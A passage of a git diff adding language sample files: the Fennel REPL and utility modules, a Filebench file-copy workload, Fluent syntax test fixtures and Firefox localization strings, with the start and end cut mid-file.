+
+//----------------------------------- Process -------------------------------------
+
+process 		= vgroup("low-freq shelving cut", lfcut(freq,att));
+
diff --git a/samples/Fennel/repl.fnl b/samples/Fennel/repl.fnl
new file mode 100644
index 0000000000..20cf7ea8b5
--- /dev/null
+++ b/samples/Fennel/repl.fnl
@@ -0,0 +1,257 @@
+;; This module is the read/eval/print loop; for coding Fennel interactively.
+
+;; The most complex thing it does is locals-saving, which allows locals to be
+;; preserved in between "chunks"; by default Lua throws away all locals after
+;; evaluating each piece of input.
+
+(local utils (require :fennel.utils))
+(local parser (require :fennel.parser))
+(local compiler (require :fennel.compiler))
+(local specials (require :fennel.specials))
+
+(fn default-read-chunk [parser-state]
+  (io.write (if (< 0 parser-state.stack-size) ".." ">> "))
+  (io.flush)
+  (let [input (io.read)]
+    (and input (.. input "\n"))))
+
+(fn default-on-values [xs]
+  (io.write (table.concat xs "\t"))
+  (io.write "\n"))
+
+;; fnlfmt: skip
+(fn default-on-error [errtype err lua-source]
+  (io.write
+   (match errtype
+     "Lua Compile" (.. "Bad code generated - likely a bug with the compiler:\n"
+                       "--- Generated Lua Start ---\n"
+                       lua-source
+                       "--- Generated Lua End ---\n")
+     "Runtime" (.. (compiler.traceback (tostring err) 4) "\n")
+     _ (: "%s error: %s\n" :format errtype (tostring err)))))
+
+(local save-source (table.concat ["local ___i___ = 1"
+                                  "while true do"
+                                  " local name, value = debug.getlocal(1, ___i___)"
+                                  " if(name and name ~= \"___i___\") then"
+                                  " ___replLocals___[name] = value"
+                                  " ___i___ = ___i___ + 1"
+                                  " else break end end"]
+                                 "\n"))
+
+(fn splice-save-locals [env lua-source]
+  (set env.___replLocals___ (or env.___replLocals___ {}))
+  (let [spliced-source []
+        bind "local %s = ___replLocals___['%s']"]
+    (each [line (lua-source:gmatch "([^\n]+)\n?")]
+      (table.insert spliced-source line))
+    (each [name (pairs env.___replLocals___)]
+      (table.insert spliced-source 1 (bind:format name name)))
+    (when (and (< 1 (length spliced-source))
+               (: (. spliced-source (length spliced-source)) :match
+                  "^ *return .*$"))
+      (table.insert spliced-source (length spliced-source) save-source))
+    (table.concat spliced-source "\n")))
+
+(fn completer [env scope text]
+  (let [matches []
+        input-fragment (text:gsub ".*[%s)(]+" "")]
+    (var stop-looking? false)
+
+    (fn add-partials [input tbl prefix] ; add partial key matches in tbl
+      (each [k (utils.allpairs tbl)]
+        (let [k (if (or (= tbl env) (= tbl env.___replLocals___))
+                    (. scope.unmanglings k)
+                    k)]
+          (when (and (< (length matches) 2000)
+                     ; stop explosion on too many items
+                     (= (type k) :string) (= input (k:sub 0 (length input))))
+            (table.insert matches (.. prefix k))))))
+
+    (fn add-matches [input tbl prefix] ; add matches, descending into tbl fields
+      (let [prefix (if prefix (.. prefix ".") "")]
+        (if (not (input:find "%.")) ; no more dots, so add matches
+            (add-partials input tbl prefix)
+            (let [(head tail) (input:match "^([^.]+)%.(.*)")
+                  raw-head (if (or (= tbl env) (= tbl env.___replLocals___))
+                               (. scope.manglings head)
+                               head)]
+              (when (= (type (. tbl raw-head)) :table)
+                (set stop-looking? true)
+                (add-matches tail (. tbl raw-head) (.. prefix head)))))))
+
+    (each [_ source (ipairs [scope.specials scope.macros
+                             (or env.___replLocals___ []) env env._G])]
+      (add-matches input-fragment source)
+      ;; bootstrap compiler doesn't yet know how to :until
+      (when stop-looking? (lua :break)))
+    matches))
+
+(local commands {})
+
+(fn command? [input]
+  (input:match "^%s*,"))
+
+(fn command-docs []
+  (table.concat (icollect [name f (pairs commands)]
+                  (: "  ,%s - %s" :format name
+                     (or (compiler.metadata:get f :fnl/docstring) :undocumented)))
+                "\n"))
+
+;; fnlfmt: skip
+(fn commands.help [_ _ on-values]
+  "Show this message."
+  (on-values [(.. "Welcome to Fennel.
+This is the REPL where you can enter code to be evaluated.
+You can also run these repl commands:
+" (command-docs) "
+  ,exit - Leave the repl.
+Use (doc something) to see descriptions for individual macros and special forms.
+For more information about the language, see https://fennel-lang.org/reference")]))
+
+;; Can't rely on metadata being enabled at load time for Fennel's own internals.
+(compiler.metadata:set commands.help :fnl/docstring "Show this message.")
+
+(fn reload [module-name env on-values on-error]
+  ;; Sandbox the reload inside the limited environment, if present.
+  (match (pcall (specials.load-code "return require(...)" env) module-name)
+    (true old) (let [_ (tset package.loaded module-name nil)
+                     (ok new) (pcall require module-name)
+                     ;; keep the old module if reload failed
+                     new (if (not ok)
+                             (do
+                               (on-values [new])
+                               old)
+                             new)]
+                 ;; if the module isn't a table then we can't make changes
+                 ;; which affect already-loaded code, but if it is then we
+                 ;; should splice new values into the existing table and
+                 ;; remove values that are gone.
+                 (when (and (= (type old) :table) (= (type new) :table))
+                   (each [k v (pairs new)]
+                     (tset old k v))
+                   (each [k (pairs old)]
+                     (when (= nil (. new k))
+                       (tset old k nil)))
+                   (tset package.loaded module-name old))
+                 (on-values [:ok]))
+    (false msg) (on-error :Runtime (pick-values 1 (msg:gsub "\n.*" "")))))
+
+(fn commands.reload [env read on-values on-error]
+  (match (pcall read)
+    (true true module-sym) (reload (tostring module-sym) env on-values on-error)
+    (false ?parse-ok ?msg) (on-error :Parse (or ?msg ?parse-ok))))
+
+(compiler.metadata:set commands.reload :fnl/docstring
+                       "Reload the specified module.")
+
+(fn commands.reset [env _ on-values]
+  (set env.___replLocals___ {})
+  (on-values [:ok]))
+
+(compiler.metadata:set commands.reset :fnl/docstring
+                       "Erase all repl-local scope.")
+
+(fn commands.complete [env read on-values on-error scope]
+  (match (pcall read)
+    (true true input) (on-values (completer env scope (tostring input)))
+    (_ _ ?msg) (on-error :Parse (or ?msg "Couldn't parse completion input."))))
+
+(compiler.metadata:set commands.complete :fnl/docstring
+                       "Print all possible completions for a given input.")
+
+(fn load-plugin-commands []
+  (when (and utils.root utils.root.options utils.root.options.plugins)
+    (each [_ plugin (ipairs utils.root.options.plugins)]
+      (each [name f (pairs plugin)]
+        ;; first function to provide a command should win
+        (match (name:match "^repl%-command%-(.*)")
+          cmd-name (tset commands cmd-name (or (. commands cmd-name) f)))))))
+
+(fn run-command [input read loop env on-values on-error scope]
+  (load-plugin-commands)
+  (let [command-name (input:match ",([^%s/]+)")]
+    (match (. commands command-name)
+      command (command env read on-values on-error scope)
+      _ (when (not= :exit command-name)
+          (on-values ["Unknown command" command-name])))
+    (when (not= :exit command-name)
+      (loop))))
+
+(fn repl [options]
+  (let [old-root-options utils.root.options
+        env (if options.env
+                (specials.wrap-env options.env)
+                (setmetatable {} {:__index (or (rawget _G :_ENV) _G)}))
+        save-locals? (and (not= options.saveLocals false) env.debug
+                          env.debug.getlocal)
+        opts {}
+        _ (each [k v (pairs options)]
+            (tset opts k v))
+        read-chunk (or opts.readChunk default-read-chunk)
+        on-values (or opts.onValues default-on-values)
+        on-error (or opts.onError default-on-error)
+        pp (or opts.pp tostring) ;; make parser
+        (byte-stream clear-stream) (parser.granulate read-chunk)
+        chars []
+        (read reset) (parser.parser (fn [parser-state]
+                                      (let [c (byte-stream parser-state)]
+                                        (table.insert chars c)
+                                        c)))
+        scope (compiler.make-scope)]
+    ;; use metadata unless we've specifically disabled it
+    (set opts.useMetadata (not= options.useMetadata false))
+    (when (= opts.allowedGlobals nil)
+      (set opts.allowedGlobals (specials.current-global-names opts.env)))
+    (when opts.registerCompleter
+      (opts.registerCompleter (partial completer env scope)))
+
+    (fn print-values [...]
+      (let [vals [...]
+            out []]
+        (set (env._ env.__) (values (. vals 1) vals))
+        ;; utils.map won't work here because of sparse tables
+        (for [i 1 (select "#" ...)]
+          (table.insert out (pp (. vals i))))
+        (on-values out)))
+
+    (fn loop []
+      (each [k (pairs chars)]
+        (tset chars k nil))
+      (let [(ok parse-ok? x) (pcall read)
+            src-string (string.char ((or table.unpack _G.unpack) chars))]
+        (set utils.root.options opts)
+        (if (not ok)
+            (do
+              (on-error :Parse parse-ok?)
+              (clear-stream)
+              (reset)
+              (loop))
+            (command? src-string)
+            (run-command src-string read loop env on-values on-error scope)
+            (when parse-ok? ; if this is false, we got eof
+              (match (pcall compiler.compile x
+                            {:correlate opts.correlate
+                             :source src-string
+                             : scope
+                             :useMetadata opts.useMetadata
+                             :moduleName opts.moduleName
+                             :assert-compile opts.assert-compile
+                             :parse-error opts.parse-error
+                             :useBitLib opts.useBitLib})
+                (false msg) (do
+                              (clear-stream)
+                              (on-error :Compile msg))
+                (true src) (let [src (if save-locals?
+                                         (splice-save-locals env src)
+                                         src)]
+                             (match (pcall specials.load-code src env)
+                               (false msg) (do
+                                             (clear-stream)
+                                             (on-error "Lua Compile" msg src))
+                               (_ chunk) (xpcall #(print-values (chunk))
+                                                 (partial on-error :Runtime)))))
+              (set utils.root.options old-root-options)
+              (loop)))))
+
+    (loop)))
diff --git a/samples/Fennel/utils.fnl b/samples/Fennel/utils.fnl
new file mode 100644
index 0000000000..8190cfd148
--- /dev/null
+++ b/samples/Fennel/utils.fnl
@@ -0,0 +1,348 @@
+;; This module contains mostly general-purpose table-related functionality that
+;; you might expect to see in a standard library in most langugaes, as well as
+;; the definitions of several core compiler types. It could be split into two
+;; distinct modules along those lines.
+
+;;; General-purpose helper functions
+
+(fn stablepairs [t]
+  "Like pairs, but gives consistent ordering every time. On 5.1, 5.2, and LuaJIT
+  pairs is already stable, but on 5.3+ every run gives different ordering."
+  (let [keys []
+        succ []]
+    (each [k (pairs t)]
+      (table.insert keys k))
+    (table.sort keys #(< (tostring $1) (tostring $2)))
+    (each [i k (ipairs keys)]
+      (tset succ k (. keys (+ i 1))))
+
+    (fn stablenext [tbl idx]
+      (let [key (if (= idx nil) (. keys 1) (. succ idx))
+            value (if (= key nil) nil (. tbl key))]
+        (values key value)))
+
+    (values stablenext t nil)))
+
+;; Note: the collect/icollect macros mostly make map/kvmap obsolete.
+
+(fn map [t f out]
+  "Map function f over sequential table t, removing values where f returns nil.
+Optionally takes a target table to insert the mapped values into."
+  (let [out (or out [])
+        f (if (= (type f) :function)
+              f
+              #(. $ f))]
+    (each [_ x (ipairs t)]
+      (match (f x)
+        v (table.insert out v)))
+    out))
+
+(fn kvmap [t f out]
+  "Map function f over key/value table t, similar to above, but it can return a
+sequential table if f returns a single value or a k/v table if f returns two.
+Optionally takes a target table to insert the mapped values into."
+  (let [out (or out [])
+        f (if (= (type f) :function)
+              f
+              #(. $ f))]
+    (each [k x (stablepairs t)]
+      (match (f k x)
+        (key value) (tset out key value)
+        (value) (table.insert out value)))
+    out))
+
+(fn copy [from to]
+  "Returns a shallow copy of its table argument. Returns an empty table on nil."
+  (let [to (or to [])]
+    (each [k v (pairs (or from []))]
+      (tset to k v))
+    to))
+
+(fn member? [x tbl n]
+  (match (. tbl (or n 1))
+    x true
+    nil nil
+    _ (member? x tbl (+ (or n 1) 1))))
+
+(fn allpairs [tbl]
+  "Like pairs, but if the table has an __index metamethod, it will recurisvely
+traverse upwards, skipping duplicates, to iterate all inherited properties"
+  (assert (= (type tbl) :table) "allpairs expects a table")
+  (var t tbl)
+  (let [seen []]
+    (fn allpairs-next [_ state]
+      (let [(next-state value) (next t state)]
+        (if (. seen next-state)
+            (allpairs-next nil next-state)
+            next-state
+            (do
+              (tset seen next-state true)
+              (values next-state value))
+            (match (getmetatable t)
+              {: __index} (when (= :table (type __index))
+                            (set t __index)
+                            (allpairs-next t))))))
+
+    allpairs-next))
+
+;;; AST functions
+
+;; AST nodes tend to be implemented as tables with specific "marker" metatables
+;; set on them; they have constructor functions which set the metatables and
+;; predicate functions which check the metatables. The fact that they use
+;; metatables should be considered an implementation detail. String and number
+;; literals are represented literally, and "regular" key/value tables are
+;; represented without a marker metatable since their metatables are needed to
+;; store file/line source data.
+
+(fn deref [self]
+  "Get the name of a symbol."
+  (. self 1))
+
+;; haven't defined sym yet; circularity is needed here
+(var nil-sym nil)
+
+;; the tostring2 argument is passed in by fennelview; this lets us use the same
+;; function for regular tostring as for fennelview. when called from fennelview
+;; the list's contents will also show as being fennelviewed.
+(fn list->string [self tostring2]
+  (var (safe max) (values [] 0))
+  (each [k (pairs self)]
+    (when (and (= (type k) :number) (> k max))
+      (set max k)))
+  (for [i 1 max]
+    (tset safe i (or (and (= (. self i) nil) nil-sym) (. self i))))
+  (.. "(" (table.concat (map safe (or tostring2 tostring)) " " 1 max) ")"))
+
+(fn comment-view [c]
+  (values c true))
+
+(fn sym= [a b]
+  (and (= (deref a) (deref b)) (= (getmetatable a) (getmetatable b))))
+
+(fn sym< [a b]
+  (< (. a 1) (tostring b)))
+
+(local symbol-mt {1 :SYMBOL
+                  :__fennelview deref
+                  :__tostring deref
+                  :__eq sym=
+                  :__lt sym<})
+
+(local expr-mt {1 :EXPR :__tostring deref})
+(local list-mt {1 :LIST :__fennelview list->string :__tostring list->string})
+(local comment-mt {1 :COMMENT
+                   :__fennelview comment-view
+                   :__tostring deref
+                   :__eq sym=
+                   :__lt sym<})
+
+(local sequence-marker [:SEQUENCE])
+(local vararg
+       (setmetatable ["..."] {1 :VARARG :__fennelview deref :__tostring deref}))
+
+(local getenv (or (and os os.getenv) #nil))
+
+(fn debug-on? [flag]
+  (let [level (or (getenv :FENNEL_DEBUG) "")]
+    (or (= level :all) (level:find flag))))
+
+(fn list [...]
+  "Create a new list. Lists are a compile-time construct in Fennel; they are
+represented as tables with a special marker metatable. They only come from
+the parser, and they represent code which comes from reading a paren form;
+they are specifically not cons cells."
+  (setmetatable [...] list-mt))
+
+(fn sym [str ?source ?scope]
+  "Create a new symbol. Symbols are a compile-time construct in Fennel and are
+not exposed outside the compiler. Second optional argument is a table describing
+where the symbol came from; should be a table with filename, line, bytestart,
+and byteend fields."
+  (let [s {: ?scope 1 str}]
+    (each [k v (pairs (or ?source []))]
+      (when (= (type k) :string)
+        (tset s k v)))
+    (setmetatable s symbol-mt)))
+
+(set nil-sym (sym :nil))
+
+(fn sequence [...]
+  "Create a new sequence. Sequences are tables that come from the parser when
+it encounters a form with square brackets. They are treated as regular tables
+except when certain macros need to look for binding forms, etc specifically."
+  ;; can't use SEQUENCE-MT directly as the sequence metatable like we do with
+  ;; the other types without giving up the ability to set source metadata
+  ;; on a sequence, (which we need for error reporting) so embed a marker
+  ;; value in the metatable instead.
+  (setmetatable [...] {:sequence sequence-marker}))
+
+(fn expr [strcode etype]
+  "Create a new expression. etype should be one of:
+  :literal literals like numbers, strings, nil, true, false
+  :expression Complex strings of Lua code, may have side effects, etc
+              but is an expression
+  :statement Same as expression, but is also a valid statement (function calls)
+  :vargs varargs symbol
+  :sym symbol reference"
+  (setmetatable {:type etype 1 strcode} expr-mt))
+
+(fn comment* [contents ?source]
+  (let [{: filename : line} (or ?source [])]
+    (setmetatable {1 contents : filename : line} comment-mt)))
+
+(fn varg []
+  vararg)
+
+(fn expr? [x]
+  "Checks if an object is an expression. Returns the object if it is."
+  (and (= (type x) :table) (= (getmetatable x) expr-mt) x))
+
+(fn varg? [x]
+  "Checks if an object is the vararg symbol. Returns the object if is."
+  (and (= x vararg) x))
+
+(fn list? [x]
+  "Checks if an object is a list. Returns the object if is."
+  (and (= (type x) :table) (= (getmetatable x) list-mt) x))
+
+(fn sym? [x]
+  "Checks if an object is a symbol. Returns the object if it is."
+  (and (= (type x) :table) (= (getmetatable x) symbol-mt) x))
+
+(fn sequence? [x]
+  "Checks if an object is a sequence (created with a [] literal)"
+  (let [mt (and (= (type x) :table) (getmetatable x))]
+    (and mt (= mt.sequence sequence-marker) x)))
+
+(fn comment? [x]
+  (and (= (type x) :table) (= (getmetatable x) comment-mt) x))
+
+(fn table? [x]
+  "Checks if an object any kind of table, EXCEPT list/symbol/vararg/comment."
+  (and (= (type x) :table) (not= x vararg) (not= (getmetatable x) list-mt)
+       (not= (getmetatable x) symbol-mt) (not (comment? x)) x))
+
+(fn multi-sym? [str]
+  "A multi symbol is a symbol that is actually composed of two or more symbols
+using dot syntax. The main differences from normal symbols is that they can't
+be declared local, and they may have side effects on invocation (metatables)."
+  (if (sym? str) (multi-sym? (tostring str))
+      (not= (type str) :string) false
+      (let [parts []]
+        (each [part (str:gmatch "[^%.%:]+[%.%:]?")]
+          (let [last-char (part:sub (- 1))]
+            (when (= last-char ":")
+              (set parts.multi-sym-method-call true))
+            (if (or (= last-char ":") (= last-char "."))
+                (tset parts (+ (length parts) 1) (part:sub 1 (- 2)))
+                (tset parts (+ (length parts) 1) part))))
+        (and (> (length parts) 0) (or (: str :match "%.") (: str :match ":"))
+             (not (str:match "%.%.")) (not= (str:byte) (string.byte "."))
+             (not= (str:byte (- 1)) (string.byte ".")) parts))))
+
+(fn quoted? [symbol]
+  symbol.quoted)
+
+;;; Other
+
+(fn walk-tree [root f custom-iterator]
+  "Walks a tree (like the AST), invoking f(node, idx, parent) on each node.
+When f returns a truthy value, recursively walks the children."
+  (fn walk [iterfn parent idx node]
+    (when (f idx node parent)
+      (each [k v (iterfn node)]
+        (walk iterfn node k v))))
+
+  (walk (or custom-iterator pairs) nil nil root)
+  root)
+
+(local lua-keywords [:and
+                     :break
+                     :do
+                     :else
+                     :elseif
+                     :end
+                     :false
+                     :for
+                     :function
+                     :if
+                     :in
+                     :local
+                     :nil
+                     :not
+                     :or
+                     :repeat
+                     :return
+                     :then
+                     :true
+                     :until
+                     :while
+                     :goto])
+
+(each [i v (ipairs lua-keywords)]
+  (tset lua-keywords v i))
+
+(fn valid-lua-identifier? [str]
+  (and (str:match "^[%a_][%w_]*$") (not (. lua-keywords str))))
+
+(local propagated-options [:allowedGlobals
+                           :indent
+                           :correlate
+                           :useMetadata
+                           :env
+                           :compiler-env
+                           :compilerEnv])
+
+(fn propagate-options [options subopts]
+  "Certain options should always get propagated onwards when a function that
+has options calls down into compile."
+  (each [_ name (ipairs propagated-options)]
+    (tset subopts name (. options name)))
+  subopts)
+
+(local root {:chunk nil :scope nil :options nil :reset (fn [])})
+
+(fn root.set-reset [{: chunk : scope : options : reset}]
+  (fn root.reset []
+    (set (root.chunk root.scope root.options root.reset)
+         (values chunk scope options reset))))
+
+(fn hook [event ...]
+  (when (and root.options root.options.plugins)
+    (each [_ plugin (ipairs root.options.plugins)]
+      (match (. plugin event)
+        f (f ...)))))
+
+{: allpairs
+ : stablepairs
+ : copy
+ : kvmap
+ : map
+ : walk-tree
+ : member?
+ : list
+ : sequence
+ : sym
+ : varg
+ : deref
+ : expr
+ :comment comment*
+ : comment?
+ : expr?
+ : list?
+ : multi-sym?
+ : sequence?
+ : sym?
+ : table?
+ : varg?
+ : quoted?
+ : valid-lua-identifier?
+ : lua-keywords
+ : hook
+ : propagate-options
+ : root
+ : debug-on?
+ :path (table.concat [:./?.fnl :./?/init.fnl (getenv :FENNEL_PATH)] ";")
+ :macro-path (table.concat [:./?.fnl :./?/init-macros.fnl :./?/init.fnl
+                            (getenv :FENNEL_MACRO_PATH)] ";")}
diff --git a/samples/Filebench WML/copyfiles.f b/samples/Filebench WML/copyfiles.f
new file mode 100644
index 0000000000..dc7f66fa35
--- /dev/null
+++ b/samples/Filebench WML/copyfiles.f	
@@ -0,0 +1,51 @@
+#
+# CDDL HEADER START
+#
+# The contents of this file are subject to the terms of the
+# Common Development and Distribution License (the "License").
+# You may not use this file except in compliance with the License.
+#
+# You can obtain a copy of the license at usr/src/OPENSOLARIS.LICENSE
+# or http://www.opensolaris.org/os/licensing.
+# See the License for the specific language governing permissions
+# and limitations under the License.
+#
+# When distributing Covered Code, include this CDDL HEADER in each
+# file and include the License file at usr/src/OPENSOLARIS.LICENSE.
+# If applicable, add the following below this CDDL HEADER, with the
+# fields enclosed by brackets "[]" replaced with your own identifying
+# information: Portions Copyright [yyyy] [name of copyright owner]
+#
+# CDDL HEADER END
+#
+#
+# Copyright 2009 Sun Microsystems, Inc.  All rights reserved.
+# Use is subject to license terms.
+#
+
+set $dir=/tmp
+set $nfiles=1000
+set $meandirwidth=20
+set $meanfilesize=16k
+set $iosize=1m
+set $nthreads=1
+
+set mode quit firstdone
+
+define fileset name=bigfileset,path=$dir,size=$meanfilesize,entries=$nfiles,dirwidth=$meandirwidth,prealloc=100,paralloc
+define fileset name=destfiles,path=$dir,size=$meanfilesize,entries=$nfiles,dirwidth=$meandirwidth
+
+define process name=filereader,instances=1
+{
+  thread name=filereaderthread,memsize=10m,instances=$nthreads
+  {
+    flowop openfile name=openfile1,filesetname=bigfileset,fd=1
+    flowop readwholefile name=readfile1,fd=1,iosize=$iosize
+    flowop createfile name=createfile2,filesetname=destfiles,fd=2
+    flowop writewholefile name=writefile2,fd=2,srcfd=1,iosize=$iosize
+    flowop closefile name=closefile1,fd=1
+    flowop closefile name=closefile2,fd=2
+  }
+}
+
+echo  "Copyfiles Version 3.0 personality successfully loaded"
diff --git a/samples/Fluent/call_expressions.ftl b/samples/Fluent/call_expressions.ftl
new file mode 100644
index 0000000000..77c2188ad9
--- /dev/null
+++ b/samples/Fluent/call_expressions.ftl
@@ -0,0 +1,120 @@
+## Function names
+
+valid-func-name-01 = {FUN1()}
+valid-func-name-02 = {FUN_FUN()}
+valid-func-name-03 = {FUN-FUN()}
+
+# JUNK 0 is not a valid Identifier start
+invalid-func-name-01 = {0FUN()}
+# JUNK Function names may not be lowercase
+invalid-func-name-02 = {fun()}
+# JUNK Function names may not contain lowercase character
+invalid-func-name-03 = {Fun()}
+# JUNK ? is not a valid Identifier character
+invalid-func-name-04 = {FUN?()}
+
+## Arguments
+
+positional-args = {FUN(1, "a", msg)}
+named-args = {FUN(x: 1, y: "Y")}
+dense-named-args = {FUN(x:1, y:"Y")}
+mixed-args = {FUN(1, "a", msg, x: 1, y: "Y")}
+
+# ERROR Positional arg must not follow keyword args
+shuffled-args = {FUN(1, x: 1, "a", y: "Y", msg)}
+
+# ERROR Named arguments must be unique
+duplicate-named-args = {FUN(x: 1, x: "X")}
+
+
+## Whitespace around arguments
+
+sparse-inline-call = {FUN     (  "a"  , msg,   x: 1   )}
+empty-inline-call = {FUN(  )}
+multiline-call = {FUN(
+        "a",
+        msg,
+        x: 1
+    )}
+sparse-multiline-call = {FUN
+    (
+
+        "a"    ,
+        msg
+        , x: 1
+    )}
+empty-multiline-call = {FUN(
+
+    )}
+
+
+unindented-arg-number = {FUN(
+1)}
+
+unindented-arg-string = {FUN(
+"a")}
+
+unindented-arg-msg-ref = {FUN(
+msg)}
+
+unindented-arg-term-ref = {FUN(
+-msg)}
+
+unindented-arg-var-ref = {FUN(
+$var)}
+
+unindented-arg-call = {FUN(
+OTHER())}
+
+unindented-named-arg = {FUN(
+x:1)}
+
+unindented-closing-paren = {FUN(
+    x
+)}
+
+
+
+## Optional trailing comma
+
+one-argument = {FUN(1,)}
+many-arguments = {FUN(1, 2, 3,)}
+inline-sparse-args = {FUN(  1,  2,  3,  )}
+mulitline-args = {FUN(
+        1,
+        2,
+    )}
+mulitline-sparse-args = {FUN(
+
+        1
+        ,
+        2   
+        ,
+    )}
+
+
+## Syntax errors for trailing comma
+
+one-argument = {FUN(1,,)}
+missing-arg = {FUN(,)}
+missing-sparse-arg = {FUN(   ,   )}
+
+
+## Whitespace in named arguments
+
+sparse-named-arg = {FUN(
+        x   :   1,
+        y   :   2,
+        z
+        :
+        3
+    )}
+
+
+unindented-colon = {FUN(
+        x
+:1)}
+
+unindented-value = {FUN(
+        x:
+1)}
diff --git a/samples/Fluent/callee_expressions.ftl b/samples/Fluent/callee_expressions.ftl
new file mode 100644
index 0000000000..637a2e4d74
--- /dev/null
+++ b/samples/Fluent/callee_expressions.ftl
@@ -0,0 +1,46 @@
+## Callees in placeables.
+
+function-callee-placeable = {FUNCTION()}
+term-callee-placeable = {-term()}
+
+# ERROR Messages cannot be parameterized.
+message-callee-placeable = {message()}
+# ERROR Equivalent to a MessageReference callee.
+mixed-case-callee-placeable = {Function()}
+# ERROR Message attributes cannot be parameterized.
+message-attr-callee-placeable = {message.attr()}
+# ERROR Term attributes may not be used in Placeables.
+term-attr-callee-placeable = {-term.attr()}
+# ERROR Variables cannot be parameterized.
+variable-callee-placeable = {$variable()}
+
+
+## Callees in selectors.
+
+function-callee-selector = {FUNCTION() ->
+   *[key] Value
+}
+term-attr-callee-selector = {-term.attr() ->
+   *[key] Value
+}
+
+# ERROR Messages cannot be parameterized.
+message-callee-selector = {message() ->
+   *[key] Value
+}
+# ERROR Equivalent to a MessageReference callee.
+mixed-case-callee-selector = {Function() ->
+   *[key] Value
+}
+# ERROR Message attributes cannot be parameterized.
+message-attr-callee-selector = {message.attr() ->
+   *[key] Value
+}
+# ERROR Term values may not be used as selectors.
+term-callee-selector = {-term() ->
+   *[key] Value
+}
+# ERROR Variables cannot be parameterized.
+variable-callee-selector = {$variable() ->
+   *[key] Value
+}
diff --git a/samples/Fluent/gecko_strings.ftl b/samples/Fluent/gecko_strings.ftl
new file mode 100644
index 0000000000..8b9919c3e8
--- /dev/null
+++ b/samples/Fluent/gecko_strings.ftl
@@ -0,0 +1,1658 @@
+# This Source Code Form is subject to the terms of the Mozilla Public
+# License, v. 2.0. If a copy of the MPL was not distributed with this
+# file, You can obtain one at http://mozilla.org/MPL/2.0/.
+
+## Firefox Brand
+##
+## Firefox must be treated as a brand, and kept in English.
+## It cannot be:
+## - Declined to adapt to grammatical case.
+## - Transliterated.
+## - Translated.
+##
+## Reference: https://www.mozilla.org/styleguide/communications/translation/
+
+-brand-short-name = Firefox
+-vendor-short-name = Mozilla
+# This Source Code Form is subject to the terms of the Mozilla Public
+# License, v. 2.0. If a copy of the MPL was not distributed with this
+# file, You can obtain one at http://mozilla.org/MPL/2.0/.
+
+-sync-brand-short-name = Sync
+
+# “Sync” can be localized, “Firefox” must be treated as a brand,
+# and kept in English.
+-sync-brand-name = Firefox Sync
+
+# “Account” can be localized, “Firefox” must be treated as a brand,
+# and kept in English.
+-fxaccount-brand-name = Firefox Account
+# This Source Code Form is subject to the terms of the Mozilla Public
+# License, v. 2.0. If a copy of the MPL was not distributed with this
+# file, You can obtain one at http://mozilla.org/MPL/2.0/.
+
+app-manager-window =
+    .title = Application details
+    .style = width: 30em; min-height: 20em;
+
+app-manager-remove =
+    .label = Remove
+    .accesskey = R
+
+app-manager-handle-webfeeds = The following applications can be used to handle Web Feeds.
+
+# Variables:
+#   $type (String) - the URI scheme of the link (e.g. mailto:)
+app-manager-handle-protocol = The following applications can be used to handle { $type } links.
+
+# Variables:
+#   $type (String) - the MIME type (e.g. application/binary)
+app-manager-handle-file = The following applications can be used to handle { $type } content.
+
+## These strings are followed, on a new line,
+## by the URL or path of the application.
+
+app-manager-web-app-info = This web application is hosted at:
+app-manager-local-app-info = This application is located at:
+# This Source Code Form is subject to the terms of the Mozilla Public
+# License, v. 2.0. If a copy of the MPL was not distributed with this
+# file, You can obtain one at http://mozilla.org/MPL/2.0/.
+
+blocklist-window =
+    .title = Block Lists
+    .style = width: 55em
+
+blocklist-desc = You can choose which list { -brand-short-name } will use to block Web elements that may track your browsing activity.
+blocklist-close-key =
+    .key = w
+
+blocklist-treehead-list =
+    .label = List
+
+blocklist-button-cancel =
+    .label = Cancel
+    .accesskey = C
+
+blocklist-button-ok =
+    .label = Save Changes
+    .accesskey = S
+# This Source Code Form is subject to the terms of the Mozilla Public
+# License, v. 2.0. If a copy of the MPL was not distributed with this
+# file, You can obtain one at http://mozilla.org/MPL/2.0/.
+
+clear-site-data-window =
+    .title = Clear Data
+    .style = width: 35em
+
+clear-site-data-description = Clearing all cookies and site data stored by { -brand-short-name } may sign you out of websites and remove offline web content. Clearing cache data will not affect your logins.
+
+clear-site-data-close-key =
+    .key = w
+
+# The parameters in parentheses in this string describe disk usage
+# in the format ($amount $unit), e.g. "Cookies and Site Data (24 KB)"
+# Variables:
+#   $amount (Number) - Amount of site data currently stored on disk
+#   $unit (String) - Abbreviation of the unit that $amount is in, e.g. "MB"
+clear-site-data-cookies-with-data =
+    .label = Cookies and Site Data ({ $amount } { $unit })
+    .accesskey = S
+
+# This string is a placeholder for while the data used to fill
+# clear-site-data-cookies-with-data is loading. This placeholder is usually
+# only shown for a very short time (< 1s), so it should be very similar
+# or the same as clear-site-data-cookies-with-data (except the amount and unit),
+# to avoid flickering.
+clear-site-data-cookies-empty =
+    .label = Cookies and Site Data
+    .accesskey = S
+
+clear-site-data-cookies-info = You may get signed out of websites if cleared
+
+# The parameters in parentheses in this string describe disk usage
+# in the format ($amount $unit), e.g. "Cached Web Content (24 KB)"
+# Variables:
+#   $amount (Number) - Amount of cache currently stored on disk
+#   $unit (String) - Abbreviation of the unit that $amount is in, e.g. "MB"
+clear-site-data-cache-with-data =
+    .label = Cached Web Content ({ $amount } { $unit })
+    .accesskey = W
+
+# This string is a placeholder for while the data used to fill
+# clear-site-data-cache-with-data is loading. This placeholder is usually
+# only shown for a very short time (< 1s), so it should be very similar
+# or the same as clear-site-data-cache-with-data (except the amount and unit),
+# to avoid flickering.
+clear-site-data-cache-empty =
+    .label = Cached Web Content
+    .accesskey = W
+
+clear-site-data-cache-info = Will require websites to reload images and data
+
+clear-site-data-cancel =
+    .label = Cancel
+    .accesskey = C
+
+clear-site-data-clear =
+    .label = Clear
+    .accesskey = l
+# This Source Code Form is subject to the terms of the Mozilla Public
+# License, v. 2.0. If a copy of the MPL was not distributed with this
+# file, You can obtain one at http://mozilla.org/MPL/2.0/.
+
+colors-window =
+    .title = Colors
+    .style =
+        { PLATFORM() ->
+            [macos] width: 41em
+           *[other] width: 38em
+        }
+
+colors-close-key =
+    .key = w
+
+colors-page-override = Override the colors specified by the page with your selections above
+    .accesskey = O
+
+colors-page-override-option-always =
+    .label = Always
+colors-page-override-option-auto =
+    .label = Only with High Contrast themes
+colors-page-override-option-never =
+    .label = Never
+
+colors-text-and-background = Text and Background
+
+colors-text-header = Text
+    .accesskey = T
+
+colors-background = Background
+    .accesskey = B
+
+colors-use-system =
+    .label = Use system colors
+    .accesskey = s
+
+colors-underline-links =
